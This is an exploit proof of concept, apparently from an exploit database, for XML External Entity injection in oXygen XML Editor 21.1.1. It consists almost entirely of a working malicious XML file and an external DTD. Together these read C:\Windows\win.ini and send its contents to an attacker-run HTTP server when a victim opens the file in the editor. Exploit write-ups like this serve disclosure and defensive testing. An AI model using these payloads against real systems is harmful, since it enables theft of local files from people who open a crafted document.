oXygen XML Editor 21.1.1 XML Injection

`# Exploit Title: oXygen XML Editor 21.1.1 - XML External Entity Injection  
# Author: Pablo Santiago  
# Date: 2019-11-13  
# Vendor Homepage: https://www.oxygenxml.com/  
# Source:https://www.oxygenxml.com/xml_editor/download_oxygenxml_editor.html  
# Version: 21.1.1  
# CVE : N/A  
# Tested on: Windows 7  
  
#PoC  
  
1- python -m SimpleHTTPServer 8000  
1.1- Poc.xml :  
<?xml version="1.0"?>  
<!DOCTYPE test [  
<!ENTITY % file SYSTEM "C:\Windows\win.ini">  
<!ENTITY % dtd SYSTEM "http://localhost:8000/payload.dtd">  
%dtd;]>  
<pwn>&send;</pwn>  
  
1.2.- payload.dtd  
<?xml version="1.0" encoding="UTF-8"?>  
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8000?%file;'>">  
%all;  
2- File -> Open -> *.xml  
  
#PoC Visual  
https://imgur.com/2H8DhL9  
`